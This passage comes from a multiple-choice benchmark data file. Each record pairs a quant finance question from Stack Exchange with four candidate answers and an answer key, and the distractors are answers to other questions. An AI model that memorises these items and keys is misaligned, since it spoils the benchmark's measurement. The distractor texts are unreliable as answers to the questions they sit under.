local volatility model can generate a perfect fit to the implied volatility surface via Dupire's...", "C": "I've not yet read it, but Lehalle's recent book is bound to be a goldmine of good micro-structure bits and pieces. Market Microstructure in Practice EDIT: I'm reading the book now, so far it's quite good.", "D": "One starts with the Black-Scholes equation $$\\frac{\\partial C}{\\partial t}+\\frac{1}{2}\\sigma^2S^2\\frac{\\partial^2 C}{\\partial S^2}+ rS\\frac{\\partial C}{\\partial S}-rC=0,\\qquad\\qquad\\qquad\\qquad\\qquad(1)$$ supplemented with the terminal and boundary conditions (in the case of a European call) $$C(S,T)=\\max(S-K,0),\\qquad\\qquad\\qquad\\qquad\\qquad\\qquad\\qquad\\qquad(2)$$ $$C(0,t)=0,\\qquad C(S,t)\\sim S\\ \\mbox{ as } S\\to\\infty.\\qquad\\qquad\\qquad\\qquad\\qquad\\qquad$$ The option value $C(S,t)$ is defined over the domain $0 Step 1. The equation can be rewritten in the equivalent form $$\\frac{\\partial C}{\\partial t}+\\frac{1}{2}\\sigma^2\\left(S\\frac{\\partial }{\\partial S}\\right)^2C+\\left(r-\\frac{1}{2}\\sigma^2\\right)S\\frac{\\partial C}{\\partial S}-rC=0.$$ The change of independent variables $$S=e^y,\\qquad t=T-\\tau$$ results in $$S\\frac{\\partial }{\\partial S}\\to\\frac{\\partial}{\\partial y},\\qquad \\frac{\\partial}{\\partial t}\\to - \\frac{\\partial}{\\partial \\tau},$$ so one gets the constant coefficient equation $$\\frac{\\partial C}{\\partial \\tau}-\\frac{1}{2}\\sigma^2\\frac{\\partial^2 C}{\\partial y^2}-\\left(r-\\frac{1}{2}\\sigma^2\\right)\\frac{\\partial C}{\\partial y}+rC=0.\\qquad\\qquad\\qquad(3)$$ Step 2. If we..."}, "answer": "C", "distractor_source": "same_domain_answer_pool", "source": "stackexchange", "license": "CC-BY-SA 4.0", "url": "https://quant.stackexchange.com/questions/9911/book-on-market-microstructure"} {"id": "finance_955", "domain": "finance", "question_title": "Separating the wheat from the chaff: What quant methods separate skillful managers from lucky ones?", "question_body": "Fund managers are acting in a highly stochastic environment. What methods do you know to systematically separate skillful fund managers from those that were just lucky? Every idea, reference, paper is welcome! Thank you!", "question_score": 30, "question_tags": ["performance-evaluation"], "choices": {"A": "Larry Harris has a chapter on performance evaluation in Trading and Exchanges . He states that over a long period of time, a skilled asset manager will consistently have excess returns whereas a lucky one will be expected to have random and unpredictable returns. Thus, we start with the portfolio's market-adjusted return standard deviation: \\begin{equation} \\sigma_{adj} = \\sqrt{\\sigma^2_{port} + \\sigma^2_{mk} - 2\\rho\\sigma_{port}\\sigma_{mk}} \\end{equation} where $\\rho$ is the correlation between the market and portfolio returns. For a sample size $n$ (generally number of years), the average excess returns, and the adjusted standard deviation from above, we have a t-statistic : \\begin{equation}...", "B": "I think you're overlooking a third explanation: Nobody that found a successful technique to generate alpha has published it. I can think of the following causes: If you're an academic, why share your brilliant idea? These techniques require a lot of data and financial data can be expensive, researches that work at firms that have access to this data don't share their findings with the public. Academics did find a lot of signals already the old fashioned way. Despite this, fancy techniques such as AAD and Reinforcement Learning are discussed publicly. These methods don't generate any alpha however.", "C": "1. Determine Factors Economically, the use of factor models can be either motivated using the ICAPM or the APT . Although there are some theoretical differences between the model, for empirical and practical work these differences are irrelevant. In the end, both models stipulate that returns and expected returns are linear functions of the factors: $$ r_{i,t} = \\alpha_i + \\sum_j \\beta_{i,j} F_{j,t} + \\epsilon_{i,t} \\quad (1)$$ $$ \\mathbb{E}[ r_{i,t}] = \\lambda_o + \\sum_j \\beta_{i,j} \\lambda_j \\quad\\quad\\quad(2)$$ where $F_{j,t}$ is the factor surprise of factor $j$ at time $t$ and $\\lambda_j $ is the factor risk premium of factor $j$....", "D": "I can only talk about quantitative trading. As a rule of thumb, the lower frequency you work in, the more econometrics is important, whereas for a higher frequency, the more econometrics becomes useless . (I would still recommend a top econometrician for HFT since they have what it takes to succeed, it's just the models aren't out-of-the-box applicable.) But if I was interviewing someone who was educated in econometrics for a quantitative research position, I would hope for (given the relevance to financial time-series): I have tried to put in a legend, ^ is something you should learn later and..."}, "answer": "A", "distractor_source": "same_domain_answer_pool", "source": "stackexchange", "license": "CC-BY-SA 4.0", "url": "https://quant.stackexchange.com/questions/955/separating-the-wheat-from-the-chaff-what-quant-methods-separate-skillful-manage"} {"id": "finance_1685", "domain": "finance", "question_title": "Why do high frequency traders use rapidly cancelled limit orders?", "question_body": "In reading about the various practices and strategies of high frequency traders, one of the most mysterious to me is \"fleeting orders,\" or orders that are cancelled almost immediately after they are sent (see Hasbrouck and Saar (2011) ). Why do HFTs use these orders? Some of those trying to explain the practice claim it gives HFTs an informational advantage. How? What information do they get and how do they use it? Update I am hoping for someone with actual experience in HFT to answer and verify some of the hypotheses laid out by academics. In particular, one hypothesis is that rapidly cancelled limit orders bring forth market orders on the other side, which are then executed at a less favorable price also placed by the HFT. In other words, HFTs are gaming the system to exploit sub-optimal behavior by slower traders. Is there any evidence of this still occurring, now that the practice of fleeting orders is widespread and well known? This explanation would also imply that it is relatively simple to avoid being taken advantage of, thus weakening the policy implications. Is there some reason that slower traders prefer sending market orders only after seeing a limit order meeting their price target?", "question_score": 30, "question_tags": ["high-frequency", "market-making"], "choices": {"A": "The lead paper in the January 2011 Journal of Finance ( Hendershott, Jones, and Menkveld ) addresses algorithmic trading (AT). In short, they find that AT improves liquidity as measured by bid-offer spreads. Taking the econometrics as correct (it is in the Journal of Finance) the next question is if bid-offer spreads are a sufficient statistic for measuring liquidity (or any other benefits). It is a difficult question to answer because, given current market structure, AT may improve liquidity (as measured by bid-offer spreads), but without data on other market structures, it is hard to say that we wouldn't better...", "B": "Because of: The (extreme) dominance of noise over signal The prevalence of non-repeating patterns (many of which we know are not going to repeat) A pathetic sample size for cross-validation Regime changes due to exogenous events. These are typically in the cross-val window which makes it even worse. (GFC, financial integration, trade law changes, interest rate adjustments by central banks, some idiot in a bank was hiding trades and loses 5 billions dollars, etc). It is well known that non-linear relationships are generally just artefacts of the in sample dataset There is also the following: Much price changes are driven...", "C": "The minimum variance solution loads up on securities that have low variances and co-variances. Theoretically you are correct that this should have a low expected return profile. However, it turns out - in contradiction to modern portfolio theory - that securities that have low-volatility or low-beta experience higher returns than high-volatility or high-beta stocks. This is well-documented in the literature as the low-volatility anomaly . As a result, many funds and ETFs have been launched in recent years to exploit this phenomenon. There are a couple arguments as to why the anomaly exists. The paper I cite above argues that...", "D": "All HFTs are event driven. In the most basic sense, they have some model that is a function of order book events. For every order book event the model calculates some micro price that is the HFTs perceived fair value. This is often a function of the current bid, ask, depth, last n trade prices, inventory, etc. Given the most up to date view of fair value, the HFT will be adjust orders in the market. As you can imagine, the rate of events for order book data is very high. This results in a very high scratch rate (cancel..."}, "answer": "D", "distractor_source": "same_domain_answer_pool", "source": "stackexchange", "license": "CC-BY-SA 4.0", "url": "https://quant.stackexchange.com/questions/1685/why-do-high-frequency-traders-use-rapidly-cancelled-limit-orders"} {"id": "finance_7377", "domain": "finance", "question_title": "Applications of Fourier theory in trading", "question_body": "What are fashionable applications of Fourier analysis in trading? I have heard vague ideas of applications in High Frequency Trading but can somebody provide an example, maybe a reference? Just for clarification: The approach to split up a stock price in its cosines and to apply this for forecasts or anything similar seems theoretically not justified as we can not assume the stock price to be periodic (outside of the period of observation). So I don't really mean such applications. Put differently: are there useful, theoretically valid applications of Fourier theory in trading? I am curious for any comments, thank you! EDIT: I am aware of (theoretically $100\\%$ valid) applications in option pricing and calculation of risk measures in the context of Lévy processes (see e.g. here p.11 and following and references therein). This is well established, I guess. What I mean are applications in time series analysis. Sorry for any confusions.", "question_score": 30, "question_tags": ["trading", "high-frequency"], "choices": {"A": "There are some cases where you can blend your portfolios using weights directly. One case involves corner portfolios . In this case a linear combination of weights is also efficient. Another case is where you can treat the two separate weights you have produced each as distinct portfolio under the assumption that the correlation between these portfolios is relatively stable. In this scenario, the problem reduces to a two-asset portfolio optimization problem (each asset is simply the linear combination of weights produced via your two methods). The other class of methods involves blending via the expected returns. If you arrived...", "B": "This isn't really an answer, but it's too long to add as a comment. I've always had a real problem with the correlation/covariance of price . To me, it means nothing. I realize that it gets used (abused) in many contexts, but I just don't get anything out of it (over time, price has to generally go up, go down, or go sideways, so aren't all prices \"correlated\"?). On the flip side, correlation/covariance of returns makes sense. You're dealing with random series, not integrated random series. For example, below is the code required to generate two price series that have...", "C": "I can think of an application in options pricing. I came across the following paper a long time ago but think it explains FT very eloquently as applied to pricing options under BS: http://maxmatsuda.com/Papers/2004/Matsuda%20Intro%20FT%20Pricing.pdf The fun starts on page 112 but it relies on the 1998 paper by Madan and Carr. What I like about the paper is that it gives a thorough introduction to FT and only when the groundwork is set it applies it to option pricing. Not a bad approach vs many other papers which make a lot of assumption and assume the reader can jump right...", "D": "The risk-neutral measure $\\mathbb{Q}$ is a mathematical construct which stems from the law of one price , also known as the principle of no riskless arbitrage and which you may already have heard of in the following terms: \"there is no free lunch in financial markets\". This law is at the heart of securities' relative valuation , see this very nice paper by Emmanuel Derman (\"Metaphors, Models & Theories\", 2011) and some part of this discussion. In what follows, assume for the sake of simplicity existence of a risk-free asset ; deterministic and constant rates, with risk-free rate $r$ ;..."}, "answer": "C", "distractor_source": "same_domain_answer_pool", "source": "stackexchange", "license": "CC-BY-SA 4.0", "url": "https://quant.stackexchange.com/questions/7377/applications-of-fourier-theory-in-trading"} {"id": "finance_7402", "domain": "finance", "question_title": "how to derive yield curve from interest rate swap?", "question_body": "According to some textbooks, to derive the yield curve, quote overnight to 1 week: rates from interbank money market deposit, 1 month to 1 year: LIBOR; 1 year to 7 years: Interest Rate Swap; 7 years above: government bond. I'm a bit lost here: how can an IRS rate be used to derive yield curve? Yield rate is the discount rate, if $ yield (5 years) = 4.1 \\% $ , it means the NPV of 1 dollar 5 years later is $ NPV ( 1 dollar, 5 years) = 1/[(1+4.1\\%)^5] = 0.818 $. While interest rate swap is a contract among to legs. Assume a 5 years' IRS contract is leg A pays fixed rate to B @ 8.5%, while A receives floating rate @ LIBOR +1.5% leg B pays floating rate to A @ LIBOR +1.5%, B receives fixed rate@ 8.5%. , how could this swap contract help deriving the 5 years' yield rate?", "question_score": 30, "question_tags": ["interest-rates", "swaps", "yield-curve", "interest-rate-swap", "irs"], "choices": {"A": "The standard story (also told by @vonjd) is of \"The Drunk and Her Dog\". This is based on \"A Drunk and Her Dog: An Illustration of Cointegration and Error Correction\" (1994). The story is itself based on the standard illustration for a random walk known as the \"drunkard's walk\". The Dickey-Fuller test is used to check for a unit root . It can be used as part of the general Engle-Granger two-step method (although it isn't the only option). In this case, while the two assets themselves are not stationary, you are able to test if the residuals between a...", "B": "Wavelets are just one form of \"basis decomposition\". Wavelets in particular decompose in both frequency and time and thus are more useful than fourier or other purely-frequency based decompositions. There are other time-freq decompositions (for instance the HHT) which should be explored as well. Decomposition of a price series is useful in understanding the primary movement within a series. In general with a decomposition, the original signal is the sum its basis components (potentially with some scaling multiplier). The components range from the lowest frequency (a straight-line through the sample) to the highest frequency, a curve that oscillates with a...", "C": "I have worked on this topic extensively (pricing and calculating IV in production) and believe can offer an informed opinion. First of all Mathworks - the company that creates Matlab is not a trading firm so you should probably not rely on their advice so much. There are few closed form options pricing models, and all have practical shortcomings. Barone-Adesi and Whaley (please correct my spelling of last names as I'm typing from memory) model is simple approximation for American options but is unfortunately not very accurate, and does not deal with dividends. Roll-Geske-Whaley deals with dividends, but not very...", "D": "You should take a look at the example from Hull's book. Assume that the 6-month, 12-month, 18-month zero rates are 4%, 4.5%, and 4.8%, respectively. Suppose we know that the 2-year swap rate is 5%, which implies that a 2-year bond with a semiannual coupon of 5% per annum sells for par: $$2.5 e^{-0.04 \\bullet 0.5} + 2.5 e^{-0.045 \\bullet 1.0} + 2.5 e^{-0.048 \\bullet 1.5} + 102.5 e^{-2 \\bullet R} = 100 \\; . $$ Solving for $R$ above gives a 2-year zero rate $R$ of 4.953%. We can keep going to compute the 3-year zero rates, etc."}, "answer": "D", "distractor_source": "same_domain_answer_pool", "source": "stackexchange", "license": "CC-BY-SA 4.0", "url": "https://quant.stackexchange.com/questions/7402/how-to-derive-yield-curve-from-interest-rate-swap"} {"id": "finance_43", "domain": "finance", "question_title": "Is there a standard model for market impact?", "question_body": "Is there a standard model for market impact? I am interested in the case of high-volume equities sold in the US, during market hours, but would be interested in any pointers.", "question_score": 29, "question_tags": ["market-impact", "models"], "choices": {"A": "One starts with the Black-Scholes equation $$\\frac{\\partial C}{\\partial t}+\\frac{1}{2}\\sigma^2S^2\\frac{\\partial^2 C}{\\partial S^2}+ rS\\frac{\\partial C}{\\partial S}-rC=0,\\qquad\\qquad\\qquad\\qquad\\qquad(1)$$ supplemented with the terminal and boundary conditions (in the case of a European call) $$C(S,T)=\\max(S-K,0),\\qquad\\qquad\\qquad\\qquad\\qquad\\qquad\\qquad\\qquad(2)$$ $$C(0,t)=0,\\qquad C(S,t)\\sim S\\ \\mbox{ as } S\\to\\infty.\\qquad\\qquad\\qquad\\qquad\\qquad\\qquad$$ The option value $C(S,t)$ is defined over the domain $0 Step 1. The equation can be rewritten in the equivalent form $$\\frac{\\partial C}{\\partial t}+\\frac{1}{2}\\sigma^2\\left(S\\frac{\\partial }{\\partial S}\\right)^2C+\\left(r-\\frac{1}{2}\\sigma^2\\right)S\\frac{\\partial C}{\\partial S}-rC=0.$$ The change of independent variables $$S=e^y,\\qquad t=T-\\tau$$ results in $$S\\frac{\\partial }{\\partial S}\\to\\frac{\\partial}{\\partial y},\\qquad \\frac{\\partial}{\\partial t}\\to - \\frac{\\partial}{\\partial \\tau},$$ so one gets the constant coefficient equation $$\\frac{\\partial C}{\\partial \\tau}-\\frac{1}{2}\\sigma^2\\frac{\\partial^2 C}{\\partial y^2}-\\left(r-\\frac{1}{2}\\sigma^2\\right)\\frac{\\partial C}{\\partial y}+rC=0.\\qquad\\qquad\\qquad(3)$$ Step 2. If we...", "B": "There is a family of models that is so commonly used among practitioners that it can be almost regarded as standard. For a survey, check out Rob Almgren's entry in the Encyclopedia of Quantitative Finance. Check out also Barra, Axioma and Northfield's handbooks. In general, the impact term per unit traded currency is of the form $$MI \\propto \\sigma_n \\cdot \\text{(participation rate)}^\\beta$$ where the exponent is somewhere between 1/2 and 1, depending on the model being used, and the participation rate is the percentage of total volume of the trade, during the trading interval itself. When including the total MI...", "C": "Consider the standard error , and in particular the distance between the upper and lower limits: \\begin{equation} \\Delta = (\\bar{x} + SE \\cdot \\alpha) - (\\bar{x} - SE \\cdot \\alpha) = 2 \\cdot SE \\cdot \\alpha \\end{equation} Using the formula for standard error, we can solve for sample size: \\begin{equation} n = \\left(\\frac{2 \\cdot s \\cdot \\alpha}{\\Delta}\\right)^{2} \\end{equation} where $s$ is the measured standard deviation, which you already have from your IR calculation. High-frequency Example I was testing a market-making model recently that was expected to return a couple basis points for each trade and I wanted to be confident...", "D": "Wavelets are just one form of \"basis decomposition\". Wavelets in particular decompose in both frequency and time and thus are more useful than fourier or other purely-frequency based decompositions. There are other time-freq decompositions (for instance the HHT) which should be explored as well. Decomposition of a price series is useful in understanding the primary movement within a series. In general with a decomposition, the original signal is the sum its basis components (potentially with some scaling multiplier). The components range from the lowest frequency (a straight-line through the sample) to the highest frequency, a curve that oscillates with a..."}, "answer": "B", "distractor_source": "same_domain_answer_pool", "source": "stackexchange", "license": "CC-BY-SA 4.0", "url": "https://quant.stackexchange.com/questions/43/is-there-a-standard-model-for-market-impact"} {"id": "finance_84", "domain": "finance", "question_title": "Transformation from the Black-Scholes differential equation to the diffusion equation - and back", "question_body": "I know the derivation of the Black-Scholes differential equation and I understand (most of) the solution of the diffusion equation. What I am missing is the transformation from the Black-Scholes differential equation to the diffusion equation (with all the conditions) and back to the original problem. All the transformations I have seen so far are not very clear or technically demanding (at least by my standards). My question: Could you provide me references for a very easily understood, step-by-step solution?", "question_score": 29, "question_tags": ["black-scholes", "differential-equations"], "choices": {"A": "One starts with the Black-Scholes equation $$\\frac{\\partial C}{\\partial t}+\\frac{1}{2}\\sigma^2S^2\\frac{\\partial^2 C}{\\partial S^2}+ rS\\frac{\\partial C}{\\partial S}-rC=0,\\qquad\\qquad\\qquad\\qquad\\qquad(1)$$ supplemented with the terminal and boundary conditions (in the case of a European call) $$C(S,T)=\\max(S-K,0),\\qquad\\qquad\\qquad\\qquad\\qquad\\qquad\\qquad\\qquad(2)$$ $$C(0,t)=0,\\qquad C(S,t)\\sim S\\ \\mbox{ as } S\\to\\infty.\\qquad\\qquad\\qquad\\qquad\\qquad\\qquad$$ The option value $C(S,t)$ is defined over the domain $0 Step 1. The equation can be rewritten in the equivalent form $$\\frac{\\partial C}{\\partial t}+\\frac{1}{2}\\sigma^2\\left(S\\frac{\\partial }{\\partial S}\\right)^2C+\\left(r-\\frac{1}{2}\\sigma^2\\right)S\\frac{\\partial C}{\\partial S}-rC=0.$$ The change of independent variables $$S=e^y,\\qquad t=T-\\tau$$ results in $$S\\frac{\\partial }{\\partial S}\\to\\frac{\\partial}{\\partial y},\\qquad \\frac{\\partial}{\\partial t}\\to - \\frac{\\partial}{\\partial \\tau},$$ so one gets the constant coefficient equation $$\\frac{\\partial C}{\\partial \\tau}-\\frac{1}{2}\\sigma^2\\frac{\\partial^2 C}{\\partial y^2}-\\left(r-\\frac{1}{2}\\sigma^2\\right)\\frac{\\partial C}{\\partial y}+rC=0.\\qquad\\qquad\\qquad(3)$$ Step 2. If we...", "B": "Martingales + Markovian Here is the motivation. Conditional expectations are martingales by the tower property of conditional expectations (an easy exercise to show). Suppose $r=0$, by the risk neutral pricing theorem $E^\\star\\left[h(X_T)\\bigg|\\mathscr{F}_t,\\,X_t=x\\right]$ is the price of any derivative security with $X$ as the underlying asset and payoff function $h$ assuming for the moment that the underlying security and the derivative itself pay no intermediate cashflows. In a Markovian setting, it must be the case that the price of the derivative is a measurable function of the current asset price and the time to maturity only, say a function $g(t, x)$....", "C": "The volatiltiy surface is just a representation of European option prices as a function of strike and maturity in a different \"unit\" - namely implied volatility (while the term implied volatility has to be made precise by the model used to convert prices (quotes) into implied volatilities - for example: we may consider log-normal vols and normal vols). Volatility is often preferred over prices, e.g., when considering interpolations of European option prices (although this may introduce difficulties like arbitrage violations, see, e.g., http://papers.ssrn.com/sol3/papers.cfm?abstract_id=1964634 ). A local volatility model can generate a perfect fit to the implied volatility surface via Dupire's...", "D": "It's an interesting question. I particularly agree with the $\\mathbb{Q}-\\mathbb{P}$ dichotomy mentioned by many. I would add to the other answers that, come to think of it, the Black-Scholes postulated Geometric Brownian Motion could be interpreted as an AR(1) process on the logarithm of the stock price as you discretise the SDE from which it is a solution, which is exactly what you do when running Monte-Carlo simulations (same thing for the Ornstein-Uhlenbeck process as explained here and noted by @Richard). Actually, when taking the continuous-time limit, many more econometric models can be shown to correspond to stochastic processes frequently..."}, "answer": "A", "distractor_source": "same_domain_answer_pool", "source": "stackexchange", "license": "CC-BY-SA 4.0", "url": "https://quant.stackexchange.com/questions/84/transformation-from-the-black-scholes-differential-equation-to-the-diffusion-equ"} {"id": "finance_1004", "domain": "finance", "question_title": "How are cryptography and speech recognition technology applied to forecasting financial markets?", "question_body": "One of the answers to my previous question regarding the strategy of Renaissance Technologies , there was a reference to The Quants: How a New Breed of Math Whizzes Conquered Wall Street and Nearly Destroyed It . After doing some browsing in the book I found that it states that Renaissance Technologies obviously very successfully employs cryptography and speech recognition technology for forecasting financial time series. Do you know of any good papers (or other references) where the use of either of these technologies in connection with finance is shown?", "question_score": 29, "question_tags": ["quant-trading-strategies", "research", "forecasting", "machine-learning"], "choices": {"A": "By \"cryptography\" you mean information theory. Information theory is useful for portfolio optimization and for optimally allocating capital between trading strategies (a problem which is not well addressed by other theoretical frameworks.) See: --- J. L. Kelly, Jr., \"A New Interpretation of Information Rate,\" Bell System Technical Journal, Vol. 35, July 1956, pp. 917-26 --- E. T. Jaynes, Probability Theory: The Logic of Science http://amzn.to/dtcySD --- http://en.wikipedia.org/wiki/Gambling_and_information_theory http://en.wikipedia.org/wiki/Kelly_criterion In the simple case, you would use \"The Kelly Rule\". More complicated information theory based strategies for allocating capital between trading strategies take into account correlations between the performance of trading strategies...", "B": "Nick Higham's specialty is algorithms to find the nearest correlation matrix. His older work involved increased performance (in order-of-convergence terms) of techniques that successively projected a nearly-positive-semi-definite matrix onto the positive semidefinite space. Perhaps even more interesting, from the practitioner point of view, is his extension to the case of correlation matrices with factor model structures. The best place to look for this work is probably the PhD thesis paper by his doctoral student Ruediger Borsdorf. Higham's blog entry covers his work up to 2013 pretty well.", "C": "Wavelets are just one form of \"basis decomposition\". Wavelets in particular decompose in both frequency and time and thus are more useful than fourier or other purely-frequency based decompositions. There are other time-freq decompositions (for instance the HHT) which should be explored as well. Decomposition of a price series is useful in understanding the primary movement within a series. In general with a decomposition, the original signal is the sum its basis components (potentially with some scaling multiplier). The components range from the lowest frequency (a straight-line through the sample) to the highest frequency, a curve that oscillates with a...", "D": "I think you're overlooking a third explanation: Nobody that found a successful technique to generate alpha has published it. I can think of the following causes: If you're an academic, why share your brilliant idea? These techniques require a lot of data and financial data can be expensive, researches that work at firms that have access to this data don't share their findings with the public. Academics did find a lot of signals already the old fashioned way. Despite this, fancy techniques such as AAD and Reinforcement Learning are discussed publicly. These methods don't generate any alpha however."}, "answer": "A", "distractor_source": "same_domain_answer_pool", "source": "stackexchange", "license": "CC-BY-SA 4.0", "url": "https://quant.stackexchange.com/questions/1004/how-are-cryptography-and-speech-recognition-technology-applied-to-forecasting-fi"} {"id": "finance_2076", "domain": "finance", "question_title": "How to interpret the eigenmatrix from a Johansen cointegration test?", "question_body": "I ran a Johansen cointegration test on 3 instruments, A B and C. The results that I got are: R 36.7 18.9 21.1 25.8 r=1 --> 8.4 12.29 14.26 18.52 r=2 --> 0.21 2.7 3.8 6.6 EigenValues EigenMatrix 0.03 --> 0.25 | 0.512 |-0.79 0.007 --> -0.96 | -0.618 | 0.14 0.00017 --> 0.05 | 0.59 | 0.59 My question is how I interpret these results? How do I know there is a cointegration for the these instruments. How to build a portfolio using the eigen vector? Which eigen vector should I choose to build my portfolio?", "question_score": 29, "question_tags": ["statistics", "cointegration"], "choices": {"A": "I can only talk about quantitative trading. As a rule of thumb, the lower frequency you work in, the more econometrics is important, whereas for a higher frequency, the more econometrics becomes useless . (I would still recommend a top econometrician for HFT since they have what it takes to succeed, it's just the models aren't out-of-the-box applicable.) But if I was interviewing someone who was educated in econometrics for a quantitative research position, I would hope for (given the relevance to financial time-series): I have tried to put in a legend, ^ is something you should learn later and...", "B": "1. Determine Factors Economically, the use of factor models can be either motivated using the ICAPM or the APT . Although there are some theoretical differences between the model, for empirical and practical work these differences are irrelevant. In the end, both models stipulate that returns and expected returns are linear functions of the factors: $$ r_{i,t} = \\alpha_i + \\sum_j \\beta_{i,j} F_{j,t} + \\epsilon_{i,t} \\quad (1)$$ $$ \\mathbb{E}[ r_{i,t}] = \\lambda_o + \\sum_j \\beta_{i,j} \\lambda_j \\quad\\quad\\quad(2)$$ where $F_{j,t}$ is the factor surprise of factor $j$ at time $t$ and $\\lambda_j $ is the factor risk premium of factor $j$....", "C": "There seems to be a basic fallacy that someone can come along and learn some machine learning or AI algorithms, set them up as a black box, hit go, and sit back while they retire. My advice to you: Learn statistics and machine learning first, then worry about how to apply them to a given problem. There is no free lunch here. Data analysis is hard work . Read \"The Elements of Statistical Learning\" (the pdf is available for free on the website), and don't start trying to build a model until you understand at least the first 8 chapters....", "D": "From remote memory, The first question is Yes/No question. Is there any stationary, i.e. I(0), time series for different levels of combination r? This question is answered by your first table. For example, if [r=2]'s test stat is say 7 while the critical value of 99% confidence is 6.6 like your example, then I have over 99% confidence to say that all instruments A, B, and C are stationary by themselves. You don't even need to build a co-integrated portfolio/combination. They are ready for mean-reversion strategy already. Obviously, in your example, your [r=2] stat is way much lower than even..."}, "answer": "D", "distractor_source": "same_domain_answer_pool", "source": "stackexchange", "license": "CC-BY-SA 4.0", "url": "https://quant.stackexchange.com/questions/2076/how-to-interpret-the-eigenmatrix-from-a-johansen-cointegration-test"} {"id": "finance_61760", "domain": "finance", "question_title": "Why are there no papers about stock prediction with machine learning in leading financial journals?", "question_body": "I'm writing my master's thesis about stock price prediction using machine learning methods. During my literature review, I noticed that a lot of research produced on this topic is of poor quality, published in non-finance related journals or unpublished/peer reviewed alltogether. There is no paper to be found in leading journals like journal of finance or journal of financial economics on the topic. I'm curious as to why this is the case. Did the academic world move on, and simply accept that markets are generally efficient a long time ago? Or are the leading journals overlooking a key technique that could effectively forecast stock price?", "question_score": 29, "question_tags": ["machine-learning", "market-efficiency"], "choices": {"A": "I've worked at a hedge fund that allowed GA-derived strategies. For safety, it required that all models be submitted long before production to make sure that they still worked in the backtests. So there could be a delay of up to several months before a model would be allowed to run. It's also helpful to separate the sample universe; use a random half of the possible stocks for GA analysis and the other half for confirmation backtests.", "B": "There are some cases where you can blend your portfolios using weights directly. One case involves corner portfolios . In this case a linear combination of weights is also efficient. Another case is where you can treat the two separate weights you have produced each as distinct portfolio under the assumption that the correlation between these portfolios is relatively stable. In this scenario, the problem reduces to a two-asset portfolio optimization problem (each asset is simply the linear combination of weights produced via your two methods). The other class of methods involves blending via the expected returns. If you arrived...", "C": "The minimum variance solution loads up on securities that have low variances and co-variances. Theoretically you are correct that this should have a low expected return profile. However, it turns out - in contradiction to modern portfolio theory - that securities that have low-volatility or low-beta experience higher returns than high-volatility or high-beta stocks. This is well-documented in the literature as the low-volatility anomaly . As a result, many funds and ETFs have been launched in recent years to exploit this phenomenon. There are a couple arguments as to why the anomaly exists. The paper I cite above argues that...", "D": "I think you're overlooking a third explanation: Nobody that found a successful technique to generate alpha has published it. I can think of the following causes: If you're an academic, why share your brilliant idea? These techniques require a lot of data and financial data can be expensive, researches that work at firms that have access to this data don't share their findings with the public. Academics did find a lot of signals already the old fashioned way. Despite this, fancy techniques such as AAD and Reinforcement Learning are discussed publicly. These methods don't generate any alpha however."}, "answer": "D", "distractor_source": "same_domain_answer_pool", "source": "stackexchange", "license": "CC-BY-SA 4.0", "url": "https://quant.stackexchange.com/questions/61760/why-are-there-no-papers-about-stock-prediction-with-machine-learning-in-leading"} {"id": "finance_352", "domain": "finance", "question_title": "Volatility pumping in practice", "question_body": "The fascinating thing about volatility pumping (or optimal growth portfolio , see e.g. here ) is that here volatility is not the same as risk, rather it represents opportunity. Additionally it is a generic mechanical strategy that is independent of asset classes. My question: Do you know examples where volatility pumping is actually implemented? What are the results? What are the pitfalls?", "question_score": 28, "question_tags": ["volatility", "trading", "kelly-criterion"], "choices": {"A": "The optimal growth portfolio is obtained by applying the Kelly criterion which is one of the pillars of the sound risk management. Ed Thorp's weekend forays to Las Vegas to play blackjack were one of the first historically documented cases of successful practical implementation of the Kelly strategy. Since then this method and its modifications have been systematically used by Thorp himself and other hedge fund managers as an important risk control tool.", "B": "I've worked at a hedge fund that allowed GA-derived strategies. For safety, it required that all models be submitted long before production to make sure that they still worked in the backtests. So there could be a delay of up to several months before a model would be allowed to run. It's also helpful to separate the sample universe; use a random half of the possible stocks for GA analysis and the other half for confirmation backtests.", "C": "Great question! I think the most useful starting point is Stock Return Characteristics, Skew Laws, and the Differential Pricing of Individual Equity Options by Bakshi, Kapadia and Madan (2003) . Their paper proposes a definition of model-free implied skewness (they originally called it risk-neutral skewness, but MFIS is more accurate), which they prove will have a P&L directly proportional to the realized skewness of the underlier. Subsequent papers (there are literally dozens) have thoroughly explored the properties of MFIS. In particular, Does Risk-Neutral Skewness Predict the Cross-Section of Equity Option Portfolio Returns? by Bali and Murray (2011) estimates the empirical...", "D": "Here couple pointers that may make it clearer: Drift can be replaced by the risk-free rate through a mathematical construct called risk-neutral probability pricing. Why can we get away with that without introducing errors? The reason lies in the ability to setup a hedge portfolio, thus the market will not compensate us for the drift above and beyond the risk free rate under risk-neutral probability pricing. As long as such hedge exists and couple other conditions are met (please look up Girsanov's Theorem) we can introduce a risk-neutral measure so that when applying it to the differential equation and through..."}, "answer": "A", "distractor_source": "same_domain_answer_pool", "source": "stackexchange", "license": "CC-BY-SA 4.0", "url": "https://quant.stackexchange.com/questions/352/volatility-pumping-in-practice"} {"id": "finance_998", "domain": "finance", "question_title": "Strategy of Renaissance Technologies Medallion fund: Holy Grail or next Madoff?", "question_body": "Renaissance Technologies Medallion fund is one of the most successful hedge funds - ever! Yet it is very secretive. Do you have information on the strategy used that is not yet mentioned in the Wikipedia article above? Is there really something fundamental going on (the Holy Grail of investing) - or will this be the next Madoff?", "question_score": 28, "question_tags": ["strategy", "quant-funds"], "choices": {"A": "The risk-neutral measure $\\mathbb{Q}$ is a mathematical construct which stems from the law of one price , also known as the principle of no riskless arbitrage and which you may already have heard of in the following terms: \"there is no free lunch in financial markets\". This law is at the heart of securities' relative valuation , see this very nice paper by Emmanuel Derman (\"Metaphors, Models & Theories\", 2011) and some part of this discussion. In what follows, assume for the sake of simplicity existence of a risk-free asset ; deterministic and constant rates, with risk-free rate $r$ ;...", "B": "Because of: The (extreme) dominance of noise over signal The prevalence of non-repeating patterns (many of which we know are not going to repeat) A pathetic sample size for cross-validation Regime changes due to exogenous events. These are typically in the cross-val window which makes it even worse. (GFC, financial integration, trade law changes, interest rate adjustments by central banks, some idiot in a bank was hiding trades and loses 5 billions dollars, etc). It is well known that non-linear relationships are generally just artefacts of the in sample dataset There is also the following: Much price changes are driven...", "C": "Consider the standard error , and in particular the distance between the upper and lower limits: \\begin{equation} \\Delta = (\\bar{x} + SE \\cdot \\alpha) - (\\bar{x} - SE \\cdot \\alpha) = 2 \\cdot SE \\cdot \\alpha \\end{equation} Using the formula for standard error, we can solve for sample size: \\begin{equation} n = \\left(\\frac{2 \\cdot s \\cdot \\alpha}{\\Delta}\\right)^{2} 